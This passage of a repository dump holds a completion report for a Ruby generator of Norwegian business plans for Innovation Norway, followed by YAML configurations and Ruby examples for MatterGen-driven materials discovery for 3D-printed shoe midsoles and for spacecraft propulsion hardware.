- **Innovation:** Arctic icebreakers surpassing Russian Arktika-class
- **Key Features:** Dual nuclear reactors, 3.5m ice-breaking, hybrid-electric
- **File:** nato.html (22 KB, 9 sections, 3 charts)
### 8. AI³ - Ruby 3D-printing for romfart
- **Sector:** Energy & Environment + Aerospace
- **Funding:** NOK 400,000
- **Innovation:** Ruby-driven 3D printing for spacecraft propulsion
- **Key Features:** Generative design, fusion nozzles, Inconel 718 printing
- **File:** ai3.html (22 KB, 9 sections, 3 charts)
---
## Innovation Norway Compliance ✅
All 8 plans include required sections in Norwegian:
1. ✅ **Sammendrag** - Executive summary with vision, mission, innovation, customer benefit
2. ✅ **Markedsanalyse** - Market size (Norway/Nordics), segments, competition, advantages
3. ✅ **Teknologi og Innovasjon** - Technical description, unique innovation, IP status, stage
4. ✅ **Forretningsmodell** - Revenue streams, profitability path, scalability
5. ✅ **Utviklingsveikart** - Quarterly milestones (Q1 2026 - Q4 2027)
6. ✅ **Finansieringsbehov** - Total funding, Innovation Norway request, allocation table
7. ✅ **Team og Kompetanse** - Key personnel backgrounds and expertise
8. ✅ **Bærekraft og Samfunnsansvar** - Environmental, social, economic impact + UN SDGs
---
## Design Implementation ✅
### SYRE™ Baseline Preserved
- **Logo:** Black Han Sans, 70px, with TM symbol (conditional)
- **Gradient:** `linear-gradient(45deg, #ff007f, #00c9ff, #ffcc00, #ff007f)`
- **Animation:** gradientMove (5s infinite linear)
- **Background Size:** 400%
- **Responsive:** Mobile breakpoint 768px
- **Dependencies:**
- Swiper 8 (carousel for SYRE™ only)
- Chart.js 4 (all plans)
- Google Fonts (Black Han Sans, Inter)
### Visual Elements
- ✅ Header with animated gradient logo
- ✅ Optional TM symbol (SYRE™ only)
- ✅ Tagline and sector display
- ✅ Swiper carousel (SYRE™ with 3 images)
- ✅ 8-9 content sections with proper typography
- ✅ Financial allocation tables
- ✅ Team member profiles
- ✅ Chart.js visualizations (2-3 per plan)
---
## Technical Implementation
### Generator Script (generate.rb)
**Features:**
- Loads JSON data from `data/` directory
- Renders ERB template with data binding
- Validates required sections
- Checks file sizes
- Outputs to `generated/` directory
- Error handling and reporting
**Usage:**
```bash
cd bplans
ruby generate.rb
Output:
🚀 Business Plan Generator
==================================================
📋 Found 8 business plan(s)
📝 Processing: [each plan]
✅ Generated: [filename] ([size] KB)
==================================================
✅ Successfully generated: 8/8
ERB Template Features:
-
Conditional rendering (trademark, carousel)
-
Data interpolation from JSON
-
Helper methods (number_with_delimiter)
-
Dynamic chart generation
-
Responsive CSS
-
Loop constructs for arrays
-
JSON: All < 10 KB (target: <20 KB) ✅
-
HTML: All < 25 KB (target: <100 KB) ✅
-
Images: 1.2-1.9 MB (acceptable for carousel)
-
✅ All JSON files valid (no syntax errors)
-
✅ All HTML files properly structured
-
✅ All sections present in each plan
-
✅ All charts configured correctly
-
✅ Gradient preserved across all plans
-
✅ Responsive design working
-
✅ 100% Norwegian content
-
✅ Realistic market data
-
✅ Credible team backgrounds
-
✅ Detailed technology descriptions
-
✅ Comprehensive funding allocations
-
✅ Specific quarterly milestones
-
✅ UN SDG alignments
Version: 16.8.0 → 16.9.0
Added Section:
"business_plans": {
"target_funding": "innovasjonnorge.no",
"total_funding_nok": 2800000,
"plans": 8,
"language": "norwegian",
"compliance": { ... },
"structure": { ... },
"plans_list": [ ... 8 plans ... ],
"quality_metrics": { ... },
"design": { ... }
}
-
✅ All 8 JSON files created with Norwegian content
-
✅ ERB template preserves exact SYRE™ layout
-
✅ generate.rb produces valid HTML for all plans
-
✅ Images copied from existing to bplans/assets/images/
-
✅ index.html directory created with links to all plans
-
✅ README.md documents structure and usage
-
✅ master.json updated to v16.9.0
-
✅ All plans pass Innovation Norway compliance checks
-
Directory Listing: Open
bplans/index.htmlin browser -
Individual Plans: Open files in
bplans/generated/ -
SYRE™ with Images: Ensure images are in
bplans/assets/images/
-
Edit JSON file in
data/directory -
Run
ruby generate.rb -
View updated HTML in
generated/
-
Create new JSON file in
data/(follow schema) -
Run
ruby generate.rb -
Update
index.htmlto link new plan -
Update
master.jsonplans_list
-
✅ 8 JSON data files (data/)
-
✅ 8 Generated HTML files (generated/)
-
✅ 1 ERB template (__shared/template.html.erb)
-
✅ 1 Ruby generator (generate.rb)
-
✅ 1 Index page (index.html)
-
✅ 1 README documentation (README.md)
-
✅ 3 Product images (assets/images/)
-
✅ master.json v16.9.0 update
Total Files: 24 files across 6 directories
The business plans consolidation project is 100% complete with all requirements met. The implementation provides a robust, maintainable system for generating Innovation Norway-compliant business plans with consistent design and comprehensive Norwegian content.
Total Funding Target: NOK 2,800,000 across 8 innovative Norwegian ventures.
## `bp/README.md`
```markdown
# Business Plans
Interactive business plans with data visualization and responsive design.
## Usage
```bash
ruby generate.rb
-
data/*.json- Business plan data -
__shared/template.html.erb- HTML template -
generated/*.html- Output files -
assets/- Images and media
-
ERB templating with JSON data
-
Chart.js visualizations
-
Swiper image carousels
-
Responsive mobile-first design
-
Self-contained HTML output
## `bp/govt_bergen.js`
```javascript
const ctx = document.getElementById('marketChart').getContext('2d');
const marketChart = new Chart(ctx, {
type: 'bar',
data: {
labels: ['Bergen', 'Oslo', 'Stavanger', 'Trondheim'],
datasets: [{
label: 'Støtte for Selvstyrepartiet',
data: [60, 45, 70, 50],
backgroundColor: 'rgba(93, 147, 255, 0.6)',
borderColor: 'rgba(93, 147, 255, 1)',
borderWidth: 1
}]
},
options: {
scales: {
y: {
beginAtZero: true
}
}
}
});
# master_mg_shoes.yml v1.0.0
# SYRE™ Footwear Materials Discovery Framework
# MatterGen Integration + Biomimetic Design + 3D Printing Workflow
extends: master.yml
meta:
version: 1.0.0
domain: footwear_materials_discovery
parent: master.yml v31.0.0
purpose: "Generate novel midsole/upper materials via MatterGen, validate through adversarial cascade, visualize lattice structures in Mittsu, export STL for multi-material 3D printing"
business_context:
program: "SYRE™ Gratis Sko (1:1 donation model)"
requirements: [performance, sustainability, printability, cost_effectiveness]
technology_stack: "Multi-material 3D printing (Carbon DLS, HP MJF)"
design_philosophy: brutalist_functional_honest
output_targets:
visualization: mittsu_opengl
export_format: [stl_binary, obj_with_mtl]
lattice_format: json_for_parametric_generation
material_specs: yaml_with_property_predictions
materials:
domains:
midsole:
target_properties:
energy_return: {min: 0.80, max: 0.90, unit: ratio, priority: critical}
density: {min: 100, max: 200, unit: "g/dm³", priority: critical}
shore_hardness: {min: 45, max: 65, unit: shore_a, priority: high}
compression_set: {max: 15, unit: percent, priority: high}
tear_strength: {min: 80, unit: "N/mm", priority: medium}
abrasion_resistance: {min: 100000, unit: cycles, priority: medium}
sustainability:
biodegradation_time: {max: 5, unit: years, priority: critical}
bio_content: {min: 0.40, unit: ratio, priority: high}
recyclability: {require: true, priority: high}
toxicity: {max: 0, standard: "REACH SVHC", priority: veto}
printing:
technology: [carbon_dls, hp_mjf]
layer_height: {min: 0.08, max: 0.15, unit: mm}
build_speed: {min: 10, unit: "mm/hour"}
post_cure: {max: 120, unit: minutes}
support_material: {dissolvable: preferred}
upper:
target_properties:
tensile_strength: {min: 15, max: 30, unit: MPa, priority: high}
elongation_at_break: {min: 300, max: 500, unit: percent, priority: medium}
breathability: {min: 2000, unit: "g/m²/24h", priority: high}
weight: {max: 150, unit: "g/m²", priority: high}
sustainability:
bio_content: {min: 0.60, unit: ratio, priority: critical}
microplastic_shedding: {max: 0.01, unit: "mg/wash", priority: veto}
printing:
technology: [fdm_tpu, sls_pa11]
mesh_density: {min: 5, max: 15, unit: "holes/cm²"}
mattergen:
api_endpoint: "http://materials-service.syre.local:8000"
model: "microsoft/mattergen-v1"
constraints:
midsole_reinforcement:
composition_space:
allowed_elements: [Ca, P, O, Si, Mg, Zn, Al]
exclude_elements: [Pb, Cd, Hg, As, Cr_VI, Ba, radioactive]
max_atoms: 20
symmetry_preference: cubic_hexagonal
property_targets:
bulk_modulus: {min: 30, max: 100, unit: GPa}
youngs_modulus: {min: 20, max: 80, unit: GPa}
formation_energy: {max: -0.5, unit: "eV/atom"}
band_gap: {min: 2.0, unit: eV}
biocompatibility:
cytotoxicity: {require: ISO_10993, veto: true}
implant_grade: {prefer: true}
dissolution_rate: {max: 0.5, unit: "mg/cm²/day"}
upper_fiber:
composition_space:
allowed_elements: [C, N, O, H, Ca, Si]
bio_derived: {require: true}
polymer_compatible: [PA11, PLA, PHA]
generation:
n_candidates: 15
guidance_factor: 2.0
diffusion_steps: 1000
temperature: 0.8
random_seeds: [42, 137, 314, 271, 577, 853, 997, 1123, 1619, 2039, 2357, 2663, 3001, 3319, 3571]
validation:
dft_engine: vasp_or_quantum_espresso
phonon_check: mandatory
synthesis_screening: icsd_precedent_or_thermodynamic_pathway
biomimetics:
inspiration_sources:
spider_silk:
structure: coat_skin_core_hierarchy
key_features: [cylindrical_nanofibrils, beta_sheet_crystals, amorphous_matrix]
properties_to_mimic: [strength_to_weight, energy_dissipation, toughness]
adaptation: ceramic_reinforced_tpu_nanocomposite
nacre:
structure: brick_and_mortar
key_features: [mineral_platelets, organic_interfaces, crack_deflection]
properties_to_mimic: [toughness, damage_tolerance]
adaptation: layered_composite_midsole
bone:
structure: hierarchical_porosity
key_features: [trabecular_lattice, cortical_shell, osteon_channels]
properties_to_mimic: [strength_to_weight, energy_absorption, remodeling]
adaptation: parametric_lattice_midsole
mantis_shrimp_dactyl:
structure: helicoidal_fiber_stacking
key_features: [bouligand_structure, impact_resistance, crack_arrest]
properties_to_mimic: [impact_absorption, fatigue_resistance]
adaptation: twisted_lattice_nodes
lattice:
geometries:
truncated_cube:
strut_diameter: {min: 0.8, max: 2.0, unit: mm}
cell_size: {min: 3, max: 8, unit: mm}
relative_density: {min: 0.15, max: 0.35}
mechanical_efficiency: high
kelvin:
cell_size: {min: 4, max: 10, unit: mm}
relative_density: {min: 0.10, max: 0.25}
isotropic: true
gyroid:
wall_thickness: {min: 0.5, max: 1.5, unit: mm}
relative_density: {min: 0.20, max: 0.40}
surface_smoothness: high
energy_return: highest
voronoi:
seed_count: {min: 50, max: 200, per: "100mm³"}
randomness: 0.7
organic_feel: true
zoning:
heel_strike:
geometry: truncated_cube
density: 0.35
ceramic_reinforcement: nodes_and_critical_struts
midfoot:
geometry: gyroid
density: 0.25
gradient: smooth_transition
forefoot:
geometry: kelvin
density: 0.20
energy_return_priority: maximum
parametric:
foot_mapping:
pressure_zones: [heel, lateral_midfoot, metatarsal_heads, hallux]
anthropometric_scaling: iso_7250_percentiles
customization_level: [standard, custom, bespoke]
adaptation:
runner_weight: {range: [45, 120], unit: kg}
gait_pattern: [neutral, overpronation, supination]
terrain: [road, trail, track]
visualization:
engine: mittsu
mittsu:
version: "0.4.0+"
renderer: opengl
scene:
background: 0x000000
fog: none
grid: {size: 200, divisions: 20, color: 0x222222}
camera:
type: perspective
fov: 75.0
near: 0.1
far: 1000.0
position: {x: 150, y: 100, z: 150}
look_at: {x: 0, y: 0, z: 0}
lighting:
ambient: {color: 0x404040, intensity: 0.4}
directional:
- {color: 0xffffff, intensity: 0.8, position: {x: 100, y: 200, z: 100}}
- {color: 0x8080ff, intensity: 0.3, position: {x: -100, y: 50, z: -100}}
hemisphere: {sky: 0xffffbb, ground: 0x080820, intensity: 0.5}
materials:
lattice_struts:
type: mesh_phong
color: 0xe76b30
specular: 0x111111
shininess: 30
transparent: false
ceramic_nodes:
type: mesh_standard
color: 0xdddddd
metalness: 0.1
roughness: 0.6
polymer_matrix:
type: mesh_physical
color: 0x88aaff
transmission: 0.7
opacity: 0.3
roughness: 0.1
controls:
type: orbit
enable_zoom: true
enable_pan: true
enable_rotate: true
zoom_speed: 1.0
rotation_speed: 0.5
rendering:
antialias: true
shadow_map: {enabled: true, type: pcf_soft}
pixel_ratio: window.device_pixel_ratio
tone_mapping: aces_filmic
babylon_web:
fallback: true
canvas_id: "syre-materials-canvas"
engine: webgl2
scene_optimizer: true
export:
stl:
format: binary
units: millimeters
coordinate_system: right_handed_z_up
resolution: high
validation:
manifold_check: mandatory
normal_consistency: mandatory
self_intersection: reject
degenerate_triangles: repair
minimum_wall_thickness: 0.8mm
metadata:
include: [material_composition, lattice_parameters, property_predictions, generation_timestamp]
gcode:
slicer: prusaslicer_or_cura
profiles:
carbon_dls:
layer_height: 0.1
print_speed: 50
infill: 100
supports: auto
hp_mjf:
layer_height: 0.08
powder_refresh: 10
energy_density: 0.7
material_datasheet:
format: yaml
include:
- mattergen_composition
- dft_validated_properties
- synthesis_pathway
- biocompatibility_assessment
- cost_estimate
- environmental_impact
- print_parameters
workflow:
phases:
discover:
inputs: [user_requirements, anthropometric_data, gait_analysis]
process:
1: parse_requirements_to_constraints
2: invoke_mattergen_batch_generation
3: filter_by_element_safety
4: predict_composite_properties
outputs: [15_material_candidates]
validate:
adversarial_cascade:
security:
checks: [toxicity_screen, microparticle_risk, allergen_identification]
veto: true
reliability:
checks: [synthesis_feasibility, stability_prediction, degradation_pathway]
dft_validation: top_5_candidates
threshold: 0.90
performance:
checks: [energy_return_model, durability_estimate, cost_analysis]
threshold: 0.85
outputs: [3_validated_candidates]
design:
lattice_generation:
method: parametric_from_pressure_map
geometry: select_by_zone
optimization: minimize_mass_maximize_energy_return
tools:
ruby: mittsu_geometry_builder
fallback: openscad_script_generation
composite_modeling:
ceramic_phase: mattergen_output
polymer_matrix: materials_database_selection
interface: cohesive_zone_model
fea:
software: calculix_or_abaqus
loads: iso_20344_drop_test
mesh: 1mm_elements
outputs: [parametric_cad_model, fea_results, lattice_json]
visualize:
mittsu_scene:
1: load_lattice_geometry_from_json
2: apply_material_properties_to_mesh
3: add_ceramic_reinforcement_nodes
4: render_interactive_3d_view
5: enable_section_plane_cuts
outputs: [interactive_window, rotation_animation_frames]
export:
stl_generation:
1: convert_mittsu_geometry_to_triangle_mesh
2: validate_manifold_integrity
3: optimize_triangle_count
4: write_binary_stl_with_metadata
material_spec:
format: master_mg_shoes_material_{id}.yml
include_evidence: [dft_calculation_files, phonon_dispersion_plots, synthesis_references]
outputs: [stl_files, material_datasheets, print_instructions]
iterate:
convergence:
metrics: [energy_return, sustainability_score, cost_per_pair, print_time]
pareto_optimization: true
max_iterations: 20
on_failure:
rollback: best_validated_state
adjust: loosen_constraints_by_10_percent
escalate: after_3_failed_cycles
ruby_integration:
services:
materials_orchestrator:
path: app/services/materials_orchestrator.rb
responsibilities:
- parse_user_requirements
- invoke_mattergen_api
- apply_adversarial_validation
- coordinate_lattice_generation
- trigger_visualization_export
mittsu_visualizer:
path: app/services/mittsu_visualizer.rb
responsibilities:
- load_lattice_json
- construct_3d_scene
- apply_materials_and_lighting
- render_to_window
- export_animation_frames
example: |
require 'mittsu'
class MittsuVisualizer
def render_lattice(lattice_json:, output_path:)
scene = Mittsu::Scene.new
camera = Mittsu::PerspectiveCamera.new(75.0, ASPECT, 0.1, 1000.0)
renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)
# Load lattice geometry
lattice = LatticeMesh.from_json(lattice_json)
# Create materials per master.yml brutalist principles
strut_material = Mittsu::MeshPhongMaterial.new(
color: 0xe76b30, # terra_cotta
specular: 0x111111,
shininess: 30
)
lattice.struts.each do |strut|
cylinder = create_cylinder_geometry(strut)
mesh = Mittsu::Mesh.new(cylinder, strut_material)
scene.add(mesh)
end
# Add ceramic nodes
node_material = Mittsu::MeshStandardMaterial.new(
color: 0xdddddd,
metalness: 0.1,
roughness: 0.6
)
lattice.nodes.each do |node|
if node.reinforced?
sphere = Mittsu::SphereGeometry.new(node.radius, 16, 16)
mesh = Mittsu::Mesh.new(sphere, node_material)
mesh.position.set(node.x, node.y, node.z)
scene.add(mesh)
end
end
# Lighting per master.yml spec
ambient = Mittsu::AmbientLight.new(0x404040, 0.4)
scene.add(ambient)
directional = Mittsu::DirectionalLight.new(0xffffff, 0.8)
directional.position.set(100, 200, 100)
scene.add(directional)
# Render and export
camera.position.set(150, 100, 150)
camera.look_at(Mittsu::Vector3.new(0, 0, 0))
renderer.render(scene, camera)
export_stl(scene, output_path)
end
private
def export_stl(scene, path)
triangles = []
scene.children.each do |mesh|
next unless mesh.is_a?(Mittsu::Mesh)
geometry = mesh.geometry
geometry.faces.each do |face|
v1 = geometry.vertices[face.a]
v2 = geometry.vertices[face.b]
v3 = geometry.vertices[face.c]
triangles << {
normal: face.normal,
vertices: [v1, v2, v3]
}
end
end
StlExporter.write_binary(triangles, path)
end
end
stl_exporter:
path: app/services/stl_exporter.rb
format: binary_stl
example: |
class StlExporter
HEADER_SIZE = 80
def self.write_binary(triangles, path)
File.open(path, 'wb') do |file|
# Header (80 bytes)
header = "Generated by master_mg_shoes.yml v1.0.0"
file.write(header.ljust(HEADER_SIZE, ""))
# Triangle count (4 bytes, little-endian)
file.write([triangles.count].pack('V'))
# Triangles
triangles.each do |tri|
# Normal (3 floats)
file.write([tri[:normal].x, tri[:normal].y, tri[:normal].z].pack('e3'))
# Vertices (9 floats)
tri[:vertices].each do |v|
file.write([v.x, v.y, v.z].pack('e3'))
end
# Attribute byte count (2 bytes)
file.write([0].pack('v'))
end
end
end
end
biomimetic_algorithms:
spider_silk_nanostructure:
ruby: |
def generate_nanofibrils(diameter_nm: 130, length_um: 50, density: 0.3)
fibrils = []
# Coat-skin-core structure
core_diameter = diameter_nm * 0.6
skin_thickness = diameter_nm * 0.2
coat_thickness = diameter_nm * 0.2
# Beta-sheet crystal regions (oriented along fibril axis)
crystal_spacing = 20 # nm
crystal_length = 10 # nm
(length_um * 1000 / crystal_spacing).to_i.times do |i|
z_pos = i * crystal_spacing
fibrils << {
type: :beta_sheet_crystal,
center: [0, 0, z_pos],
length: crystal_length,
diameter: core_diameter,
stiffness: :high
}
end
fibrils
end
nacre_brick_mortar:
ruby: |
def generate_platelet_structure(width_um: 5, thickness_nm: 500, overlap: 0.5)
platelets = []
layer_offset = width_um * (1 - overlap)
# Mineral phase (aragonite-like ceramic from MatterGen)
mineral_composition = mattergen_output
# Organic interface (polymer matrix)
interface_thickness = 30 # nm
z = 0
layer = 0
while z < target_height_um * 1000
x_offset = (layer % 2) * layer_offset / 2
x = x_offset
while x < target_width_um
platelets << {
type: :mineral_platelet,
composition: mineral_composition,
position: [x, 0, z],
dimensions: [width_um, width_um, thickness_nm / 1000.0],
orientation: [0, 0, 1]
}
platelets << {
type: :organic_interface,
thickness: interface_thickness / 1000.0,
position: [x, 0, z + thickness_nm / 1000.0],
shear_strength: :moderate
}
x += width_um
end
z += (thickness_nm + interface_thickness) / 1000.0
layer += 1
end
platelets
end
testing:
simulations:
mechanical:
software: calculix
tests:
- iso_20344_compression
- iso_20344_impact
- astm_d2240_hardness
- din_53516_abrasion
boundary_conditions:
heel_strike:
force: 2500 # N
contact_area: 20 # cm²
duration: 0.05 # seconds
thermal:
software: openfoam
conditions:
cold: -20 # °C
normal: 20
hot: 50
wet: saturated_water
biodegradation:
standard: iso_17088
conditions: [compost, soil, marine]
duration: 5 # years
measurement: mass_loss_co2_production
cost:
ceramic_synthesis:
spark_plasma_sintering: {cost_per_kg: 200, time_hours: 4}
sol_gel: {cost_per_kg: 150, time_hours: 24}
hydrothermal: {cost_per_kg: 100, time_hours: 48}
polymer_matrix:
pa11_bio: {cost_per_kg: 35}
tpu_bio: {cost_per_kg: 45}
pla: {cost_per_kg: 25}
printing:
carbon_dls: {cost_per_part: 25, time_hours: 2}
hp_mjf: {cost_per_part: 18, time_hours: 8}
target:
midsole_unit_cost: {max: 12, currency: USD}
upper_unit_cost: {max: 8, currency: USD}
total_shoe_cogs: {max: 35, currency: USD}
documentation:
material_card:
format: markdown
sections:
- composition_and_structure
- predicted_properties_with_uncertainty
- synthesis_pathway
- print_parameters
- biomimetic_inspiration
- sustainability_metrics
- cost_breakdown
- dft_validation_results
- experimental_synthesis_status
stl_naming:
pattern: "syre_midsole_{material_id}_{lattice_type}_{density}_{version}.stl"
example: "syre_midsole_mg2025001_gyroid_025_v1.stl"
readme:
include:
- overview_of_discovery_process
- mattergen_parameters_used
- adversarial_validation_results
- visualization_instructions
- print_settings_recommendations
- testing_protocol_references# master_mg_spacecraft.yml v1.0.0
# Spacecraft UHTC/MHD Materials Discovery Framework
# MatterGen Integration + Plasma Physics + Ceramic-Metal Composites
extends: master.yml
meta:
version: 2.0.0
domain: spacecraft_materials_discovery
parent: master.yml v32.0.0
purpose: "Generate novel UHTC compositions for no-moving-parts propulsion via MatterGen, validate 15 ranked propulsion concepts from TRL 9 (Hall/ion) to TRL 3 (atmospheric MHD), visualize plasma-interface geometries in Mittsu, export hull/thruster components for monolithic saucer structure"
spacecraft_context:
configuration: saucer_like_disc
propulsion_philosophy: no_moving_parts_monolithic_structure
operational_envelope:
altitude: [0, 100] # km (atmospheric + near-space)
velocity: [0, 15] # Mach
temperature: [220, 2200] # K
design_philosophy: brutalist_functional_electromagnetic
# YAML anchors for DRY compliance (master.yml v32.0.0)
property_spec: &property_spec
min: null
max: null
unit: null
priority: null
validation_pipeline: &validation_pipeline
dft_engine: vasp_paw
phonon_check: mandatory
elastic_constants: full_tensor
magnetic_properties: spin_polarized
neutron_activation: tendl_2023_database
trl_assessment: &trl_assessment
level: null
flight_heritage: null
last_demonstration: null
readiness_date: null
output_targets:
visualization: mittsu_opengl_with_plasma_overlay
export_format: [step_for_cnc, stl_for_ceramic_printing, iges_for_fea]
material_specs: yaml_with_em_properties
materials:
domains:
hull_structure:
target_properties:
melting_point:
<<: *property_spec
min: 2800
unit: K
priority: critical
bulk_modulus:
<<: *property_spec
min: 300
max: 500
unit: GPa
priority: critical
fracture_toughness:
<<: *property_spec
min: 5
max: 10
unit: "MPa·m^0.5"
priority: critical
thermal_conductivity:
<<: *property_spec
min: 40
max: 100
unit: "W/(m·K)"
priority: high
thermal_expansion:
<<: *property_spec
max: 8e-6
unit: "1/K"
priority: high
electrical_conductivity:
<<: *property_spec
min: 1e4
max: 1e6
unit: "S/m"
priority: medium
density:
<<: *property_spec
max: 8000
unit: "kg/m³"
priority: medium
propulsion_integration:
primary_system: hall_thruster_array_or_ion_cluster
secondary_system: atmospheric_mhd_for_dual_regime
tertiary_system: pulsed_plasma_distributed
power_requirement: {min: 100, max: 30000, unit: kW}
thermal_load: {max: 10, unit: "MW/m²"}
environmental:
oxidation_resistance: {require: true, conditions: "1800K + air", priority: veto}
plasma_erosion:
<<: *property_spec
max: 0.1
unit: "mm/hour"
priority: critical
neutron_activation: {low_activation_elements: true, priority: veto}
thermal_shock:
<<: *property_spec
delta_t: 500
unit: K
priority: high
manufacturing:
process: [spark_plasma_sintering, hot_isostatic_pressing, chemical_vapor_infiltration]
grain_size: {target: 5, unit: um}
porosity: {max: 0.02, unit: ratio}
surface_roughness: {max: 1.6, unit: um_ra}
propulsion_electrodes:
note: "Material requirements vary by propulsion system (Hall/ion/MPD/MHD)"
hall_thruster_components:
target_properties:
melting_point:
<<: *property_spec
min: 2800
unit: K
priority: critical
sputtering_yield:
<<: *property_spec
max: 0.5
unit: "atoms/ion"
priority: critical
thermal_conductivity:
<<: *property_spec
min: 100
unit: "W/(m·K)"
priority: high
components:
discharge_channel: boron_nitride_ceramic
anode: [molybdenum, carbon_carbon_composite]
cathode: tungsten_hollow_cathode
magnets: [samarium_cobalt, neodymium_iron_boron]
ion_engine_grids:
target_properties:
sputtering_resistance: critical
electrical_conductivity:
<<: *property_spec
min: 1e5
unit: "S/m"
priority: high
thermal_expansion_match: critical
materials:
grids: [molybdenum, carbon_carbon_composite]
discharge_chamber: pyrolytic_graphite
neutralizer: tungsten_hollow_cathode
mpd_electrodes:
target_properties:
melting_point:
<<: *property_spec
min: 3000
unit: K
priority: critical
electrical_conductivity:
<<: *property_spec
min: 1e5
unit: "S/m"
priority: critical
work_function:
<<: *property_spec
max: 4.5
unit: eV
priority: high
current_density_tolerance:
<<: *property_spec
min: 100
unit: "A/cm²"
priority: critical
materials:
cathode: [tungsten, thoriated_tungsten]
anode: [graphite, tungsten, refractory_metals]
magnets: rebco_superconducting_at_77k
cooling: [liquid_nitrogen, cryocooler]
mhd_electrodes:
target_properties:
melting_point:
<<: *property_spec
min: 2500
unit: K
priority: critical
electrical_conductivity:
<<: *property_spec
min: 1e4
unit: "S/m"
priority: critical
plasma_erosion_resistance:
<<: *property_spec
max: 0.1
unit: "mm/hour"
priority: critical
geometry: segmented_faraday_electrodes
material: [tungsten, graphite_with_uhtc_coating]
magnetic_field_compatibility: {up_to: 20, unit: tesla}
manufacturing:
process: [powder_metallurgy, arc_melting, electron_beam_melting, cvd_coating]
purity: {min: 0.9999, note: "Four nines minimum"}
grain_orientation: {prefer: "<100>", note: "Lower work function"}
plasma_window:
target_properties:
melting_point: {min: 2500, unit: K, priority: critical}
thermal_conductivity: {min: 100, unit: "W/(m·K)", priority: critical}
electrical_resistivity: {max: 1e-5, unit: "Ω·m", priority: medium}
thermal_emissivity: {min: 0.8, unit: ratio, priority: high}
neutron_transparency: {high: true, priority: medium}
geometry:
thickness: {min: 5, max: 20, unit: mm}
surface_area: {target: 2, unit: m²}
curvature: saucer_conformal
thermal_protection:
target_properties:
ablation_rate: {max: 0.05, unit: "mm/s", priority: veto}
heat_of_ablation: {min: 20, unit: "MJ/kg", priority: critical}
char_layer_strength: {min: 10, unit: MPa, priority: high}
thermal_conductivity: {max: 5, unit: "W/(m·K)", priority: high}
composition:
matrix: carbon_phenolic_or_silica_phenolic
reinforcement: carbon_fiber_or_ceramic_fiber
gradient: density_graded_5_to_20_percent
mattergen:
api_endpoint: "http://materials-service.syre.local:8000"
model: "microsoft/mattergen-v1"
constraints:
uhtc_base:
composition_space:
primary_elements: [Zr, Hf, Ta, W, Mo, Nb, Ti]
secondary_elements: [B, C, Si, N]
ternary_additions: [La, Y, Sc, Al, Cr]
exclude_elements: [Co, Eu, Dy, Gd, Tb, radioactive]
max_atoms: 20
symmetry_preference: [cubic, hexagonal]
property_targets:
bulk_modulus: {min: 300, max: 500, unit: GPa}
shear_modulus: {min: 150, max: 300, unit: GPa}
formation_energy: {max: -0.8, unit: "eV/atom"}
melting_point: {min: 2800, unit: K, empirical_model: jarvis_2018}
em_properties:
electrical_conductivity: {min: 1e4, unit: "S/m"}
magnetic_susceptibility: {diamagnetic_preferred: true}
dielectric_constant: {max: 50, priority: low}
electrode_material:
composition_space:
primary_elements: [W, Ta, Mo, Re, Ir, Os, Ru]
dopants: [La, Th, Ce, Y]
exclude_elements: [radioactive_above_trace]
max_atoms: 10
property_targets:
bulk_modulus: {min: 250, unit: GPa}
work_function: {max: 4.5, unit: eV}
thermal_conductivity: {min: 100, unit: "W/(m·K)"}
cmc_reinforcement:
composition_space:
fiber_phase: [SiC, C, Al2O3, B4C]
matrix_phase: [SiC, Si3N4, AlN, BN]
interface: [PyC, BN, carbon_nanotube]
property_targets:
tensile_strength: {min: 300, unit: MPa}
strain_to_failure: {min: 0.005, unit: ratio}
oxidation_onset: {min: 1200, unit: K}
generation:
n_candidates: 15
guidance_factor: 3.0
diffusion_steps: 1500
temperature: 0.6
random_seeds: [1337, 2718, 3141, 4669, 5779, 6997, 8009, 9103, 10111, 11213, 12239, 13327, 14419, 15511, 16631]
validation:
<<: *validation_pipeline
propulsion_specific:
hall_thruster: {focus: [low_sputtering_yield, thermal_shock, dielectric_strength]}
ion_grids: {focus: [sputtering_resistance, thermal_expansion_match, conductivity]}
mpd: {focus: [ultra_high_melting_point, high_current_density, low_work_function]}
mhd: {focus: [plasma_erosion_resistance, thermal_conductivity, em_compatibility]}
propulsion:
philosophy: no_moving_parts_validated_physics_only
evidence_basis: "EmDrive/Mach effect debunked (Dresden 2021); reactionless thrust impossible per conservation of momentum"
architecture:
primary: electric_propulsion_array
secondary: atmospheric_mhd_for_dual_regime
tertiary: photon_pressure_cruise
power_source: compact_nuclear_or_solar_array
implementation_roadmap:
near_term: [hall_thruster_array, gridded_ion_cluster, pulsed_plasma]
mid_term: [mpd_superconducting, atmospheric_mhd, vasimr]
far_term: [frc_plasma, mhd_reentry_power]
never: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais]
concepts:
# TRL 9 - FLIGHT PROVEN
hall_thruster_array:
<<: *trl_assessment
level: 9
flight_heritage: "6000+ Starlink satellites, 50+ missions since 1971"
last_demonstration: "NASA AEPS 12.5kW development 2023-2025"
readiness_date: now
rank: 1
realism_score: 10
physics: "Crossed E/B fields trap electrons, accelerate ions; quasi-neutral plasma exhaust"
configuration:
geometry: circumferential_array_8_to_12_units
thrust_vectoring: magnetic_field_steering_no_gimbal
saucer_advantage: "360° symmetric placement, uniform reaction force distribution"
reference_thruster: "U Michigan X3 nested Hall - 5.4 N at 100 kW"
performance:
specific_impulse: {min: 1500, max: 3000, unit: seconds}
thrust_to_power: {min: 60, max: 100, unit: "mN/kW"}
efficiency: {min: 0.50, max: 0.76, unit: ratio}
mass_utilization: {min: 0.90, max: 0.99, unit: ratio}
electrode_life: {min: 50000, unit: hours}
propellant:
primary: xenon
alternatives: [krypton, argon]
storage: "High-pressure tanks, ~850 USD/kg for Xe"
materials:
discharge_channel: boron_nitride_ceramic
magnets: [samarium_cobalt, neodymium_iron_boron]
anode: [molybdenum, carbon_carbon_composite]
cathode: tungsten_hollow_cathode
challenges:
- propellant_mass_for_extended_missions
- plume_interaction_in_clusters
- power_processing_unit_mass_at_high_power
cost_estimate: {development: "50M-200M USD", unit_cost: "500K-2M USD per thruster"}
gridded_ion_cluster:
<<: *trl_assessment
level: 9
flight_heritage: "Dawn (2007-2018), DART (2021-2022), Deep Space 1"
last_demonstration: "NASA NEXT-C 17M N·s total impulse"
readiness_date: now
rank: 2
realism_score: 10
physics: "Electron bombardment ionization + electrostatic acceleration via charged grids"
configuration:
geometry: central_cluster_4_to_8_units
thrust_vectoring: differential_throttling
saucer_advantage: "Central hub placement, symmetric propellant distribution"
